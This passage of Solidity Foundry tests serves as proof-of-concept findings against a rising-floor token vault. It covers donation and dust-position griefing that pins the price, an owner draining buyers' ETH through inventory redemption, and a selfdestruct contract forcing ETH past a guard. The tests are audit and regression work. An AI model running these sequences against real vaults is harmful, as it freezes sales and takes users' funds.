        uint256 dust = vault.buy{value: 1}(0); // 1000 base units at 0.001 ETH per token
        (bool ok,) = address(vault).call{value: 0.01 ether}("");
        if (!ok) return; // a fix may refuse the donation; acceptable
        token.approve(address(vault), dust);
        vault.sell(dust, 0); // supply back to zero: ratchet fires on the donation-inflated floor
        vm.stopPrank();
        cost -= GRIEFER.balance;
        assertLt(cost, 0.0002 ether, "attack should cost only the 1% fee on the donation");

        // The owner must be able to keep selling at the price the project launched with.
        vm.prank(OWNER);
        vault.setOpeningPrice(OPENING);
        assertEq(vault.openingPrice(), OPENING);

        // And a normal buyer must still receive whole tokens for 1 ETH.
        vm.prank(ALICE);
        uint256 out = vault.buy{value: 1 ether}(0);
        assertGe(out, 1e18, "1 ETH must still buy at least one whole token after the griefing sequence");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract ProofToken is ERC20 {
    constructor() ERC20("Proof", "PRF") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev README: "Nobody can withdraw ETH from the reserve. There is no owner withdrawal" and
///      withdrawInventory "cannot touch the reserve or the floor". Unsold inventory is the same
///      ERC-20 as sold tokens and sell() caps redemptions only by the global backedSupply, so the
///      owner withdraws inventory, redeems it, and takes the ETH a vault buyer paid; the buyer is
///      left unable to redeem.
contract OwnerDrainTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant ALICE = address(0xA11CE);

    RisingFloorVault internal vault;
    ProofToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new ProofToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(300, 100);
        vault.setOpeningPrice(0.001 ether);
        vm.stopPrank();
        token.mint(address(this), 1_000_000e18);
        token.approve(address(vault), type(uint256).max);
        vault.depositInventory(1_000_000e18);
        vm.deal(ALICE, 10 ether);
    }

    function test_ownerCannotTakeReserveEthThroughInventoryRedemption() public {
        vm.startPrank(ALICE);
        uint256 aliceTokens = vault.buy{value: 10 ether}(0);
        vm.stopPrank();
        assertEq(aliceTokens, 10_000e18);
        assertEq(vault.reserve(), 10 ether);

        uint256 ownerEthBefore = OWNER.balance;
        vm.startPrank(OWNER);
        vault.withdrawInventory(OWNER, aliceTokens);
        token.approve(address(vault), aliceTokens);
        uint256 quote = vault.quoteSell(aliceTokens);
        if (quote > 0) vault.sell(aliceTokens, 0);
        vm.stopPrank();

        assertEq(OWNER.balance, ownerEthBefore, "owner withdrew ETH from the reserve via inventory redemption");

        // The vault buyer must still be able to redeem what she bought at the floor.
        vm.startPrank(ALICE);
        token.approve(address(vault), aliceTokens);
        uint256 out = vault.sell(aliceTokens, 0);
        vm.stopPrank();
        assertGt(out, 0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract ProofToken is ERC20 {
    constructor() ERC20("Proof", "PRF") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @notice A holder who keeps one base unit of credit after redeeming the rest concentrates every
///         wei of fee and rounding residue on that unit. The floor (reserve / supply) then jumps by
///         orders of magnitude, every buy of ordinary size rounds to zero tokens, and the owner has
///         no remedy: the opening price cannot be changed while anything is outstanding and nobody
///         can be forced to redeem. Sales stop until the dust holder chooses to leave.
contract DustPinsFloorProof is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant ALICE = address(0xA11CE);
    address internal constant BOB = address(0xB0B);
    uint256 internal constant OPENING = 0.001 ether; // 0.001 ETH per whole token

    RisingFloorVault internal vault;
    ProofToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new ProofToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(500, 100); // 5% premium, 1% fee
        vault.setOpeningPrice(OPENING);
        vm.stopPrank();
        token.mint(address(vault), 1_000_000e18);
        vm.deal(ALICE, 10 ether);
        vm.deal(BOB, 10 ether);
    }

    function test_oneBaseUnitOfCreditFreezesSalesAndTheOwnerCannotReopen() public {
        // Alice buys 1 ETH of tokens at the opening price: 1000 whole tokens.
        vm.prank(ALICE);
        uint256 bought = vault.buy{value: 1 ether}(0);
        assertEq(bought, 1000e18);

        // She redeems everything but one base unit. The 1% fee (about 0.01 ETH) stays behind,
        // backing a single base unit.
        vm.startPrank(ALICE);
        token.approve(address(vault), bought - 1);
        vault.sell(bought - 1, 0);
        vm.stopPrank();
        assertEq(vault.backedSupply(), 1);
        assertGt(vault.reserve(), 0.009 ether);

        // The owner cannot reset the epoch while the unit is outstanding, and cannot force it out.
        vm.prank(OWNER);
        vm.expectRevert(abi.encodeWithSelector(RisingFloorVault.SupplyOutstanding.selector, 1));
        vault.setOpeningPrice(OPENING);

        // Expected: the vault keeps selling at a price in the region of what it sold at before
        // (the ask within, say, 1000x the opening price). Actual: the ask is ~1e34 wei per whole
        // token, about 1e16 ETH, so the same 1 ETH that bought 1e21 base units a moment ago now
        // buys 95, and the state persists until the dust holder chooses to redeem.
        emit log_named_uint("ask price (wei per whole token)", vault.askPrice());
        emit log_named_uint("base units for 1 ETH now", vault.quoteBuy(1 ether));
        assertLe(vault.askPrice(), 1000 * OPENING, "ask price pinned out of reach by one base unit");
        assertGe(vault.quoteBuy(1 ether), 1e18, "1 ETH no longer buys even one whole token");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract ProofToken is ERC20 {
    constructor() ERC20("Proof", "PRF") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev floorPrice = reserve / backedSupply has no lower bound on backedSupply. A holder who owns
///      the whole backed supply redeems all but one base unit; the fee and rounding residue then
///      backs that single unit, the ask becomes astronomical, setOpeningPrice reverts with
///      SupplyOutstanding, and nobody but the dust holder can ever clear the state. The griefer
///      keeps the right to redeem the residue fee-free, so the attack costs gas only.
///
///      The tests pass if the vault refuses to leave such a dust position outstanding (the sell
///      reverts) or if the quoted buy stays within a sane range afterwards.
contract DustPinTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant GRIEFER = address(0xBAD);
    address internal constant ALICE = address(0xA11CE);
    uint256 internal constant OPENING = 0.001 ether;

    RisingFloorVault internal vault;
    ProofToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new ProofToken();
        vm.startPrank(OWNER);
        vault.setSpreads(500, 100);
        vault.setOpeningPrice(OPENING);
        vault.setToken(address(token));
        vm.stopPrank();
        token.mint(address(this), 1_000_000e18);
        token.approve(address(vault), type(uint256).max);
        vault.depositInventory(1_000_000e18);
        vm.deal(GRIEFER, 1 ether);
        vm.deal(ALICE, 10 ether);
    }

    /// 1000 wei pins the vault while nothing is outstanding: the owner cannot reset the price,
    /// 1 ETH buys a fraction of a token, and the griefer loses nothing by holding the position.
    function test_thousandWeiGrieferStallsSalesAndOwnerHasNoRemedy() public {
        assertEq(vault.backedSupply(), 0);
        uint256 before = GRIEFER.balance;

        vm.startPrank(GRIEFER);
        uint256 units = vault.buy{value: 1000}(0); // 1e6 base units at 0.001 ETH per token
        assertEq(units, 1_000_000);
        token.approve(address(vault), units);
        (bool pinned,) = address(vault).call(abi.encodeCall(RisingFloorVault.sell, (units - 1, 0)));
        vm.stopPrank();
        if (!pinned) return; // the vault refuses to leave a dust position outstanding: fixed

        assertEq(vault.backedSupply(), 1);
        uint256 residue = vault.reserve(); // 11 wei of fee and rounding residue behind one unit
        assertEq(residue, 11);
        assertEq(vault.floorPrice(), 11e18); // 11 ETH per whole token, 11000x the opening price

        // The owner cannot reopen: the price is locked behind the one outstanding unit.
        vm.prank(OWNER);
        vm.expectRevert(abi.encodeWithSelector(RisingFloorVault.SupplyOutstanding.selector, 1));
        vault.setOpeningPrice(OPENING);

        // The griefer can exit fee-free at any time and recover the whole residue: net cost is gas.
        uint256 snap = vm.snapshotState();
        vm.prank(GRIEFER);
        vault.sell(1, 0);
        assertEq(GRIEFER.balance, before);
        vm.revertToState(snap);

        // Expected: an unprivileged actor spending 1000 wei cannot stop 1 ETH from buying at least
        // one whole token near the opening price. Actual: 1 ETH buys 0.0866 tokens (ask 11.55 ETH).
        uint256 quote = vault.quoteBuy(1 ether);
        assertGe(quote, 1e18, "1 ETH no longer buys one whole token: sales are stalled");
    }

    /// The same state is reached by an honest sole holder who redeems "everything" minus one unit.
    function test_honestHolderLeavingOneUnitPinsTheFloorForEveryoneElse() public {
        vm.startPrank(ALICE);
        uint256 units = vault.buy{value: 1 ether}(0);
        assertEq(units, 1000e18);
        token.approve(address(vault), units);
        (bool pinned,) = address(vault).call(abi.encodeCall(RisingFloorVault.sell, (units - 1, 0)));
        vm.stopPrank();
        if (!pinned) return; // fixed: dust position refused

        assertEq(vault.backedSupply(), 1);
        // ~0.0099 ETH of fee residue backs one base unit: ask is ~1.05e34 wei per whole token.
        uint256 ask = vault.askPrice();
        assertLe(ask, OPENING * 1000, "ask left any sane range");
        assertGe(vault.quoteBuy(1 ether), 1e18, "1 ETH buys less than one whole token");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract ProofToken is ERC20 {
    constructor() ERC20("Proof", "PRF") {
        _mint(msg.sender, 1_000_000e18);
    }
}

/// Forces ETH into a target without calling it. Under Cancun a selfdestruct in the creating
/// transaction still destroys the account and always transfers its balance to the beneficiary.
contract Forcer {
    constructor(address payable target) payable {
        selfdestruct(target);
    }
}

/// The ReserveBelowMinimum guard in receive() is the fix that stops a donation from pinning the
/// floor on a dust position. ETH that arrives without a call is not guarded and is counted in the
/// reserve (address(this).balance), so the same pin costs gas only: the griefer's ETH is fully
/// recoverable (sole holder, full redemption pays the whole reserve, or the owner's forceRedeem
/// escrows it for them), and the owner's remedy can be undone in the next block.
contract ProofForcedEthDustPin is Test {
    RisingFloorVault vault;
    ProofToken token;
    address OWNER = address(0xD3f26A6Be348440110161dFD5748E7DE7B08cf69);
    address GRIEFER = address(0xBAD);

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new ProofToken();
        vm.startPrank(OWNER);
        vault.setSpreads(500, 100);
        vault.setOpeningPrice(1e15);
        vault.setToken(address(token));
        vm.stopPrank();
        token.approve(address(vault), type(uint256).max);
        vault.depositInventory(1_000_000e18);
        vm.deal(GRIEFER, 1 ether);
    }

    function test_forcedEthOnADustPositionPinsTheFloorForGasOnly() public {
        assertEq(vault.quoteBuy(1 ether), 1000e18, "1 ETH buys 1000 whole tokens at the opening price");

        vm.startPrank(GRIEFER);
        uint256 units = vault.buy{value: 1000}(0); // 1_000_000 base units backed by 1000 wei
        assertEq(units, 1_000_000);

        // The guarded path refuses a donation against dust, as the fix intends.
        (bool ok,) = address(vault).call{value: 1_000_000}("");
        assertFalse(ok, "plain donation against dust is refused");

        // The unguarded path: the same 1e6 wei forced in without a call.
        new Forcer{value: 1_000_000}(payable(address(vault)));
        vm.stopPrank();

        // Expected: ETH that bypassed the guard cannot move the ask; 1 ETH still buys at least one
        // whole token. Actual on this code: floor 1.001 ETH per token (1001x the opening price),
        // quoteBuy(1 ether) = 951429522858094286 base units (0.95 of one token).
        assertGe(vault.quoteBuy(1 ether), 1e18, "forced ETH against dust pinned the ask");
    }
}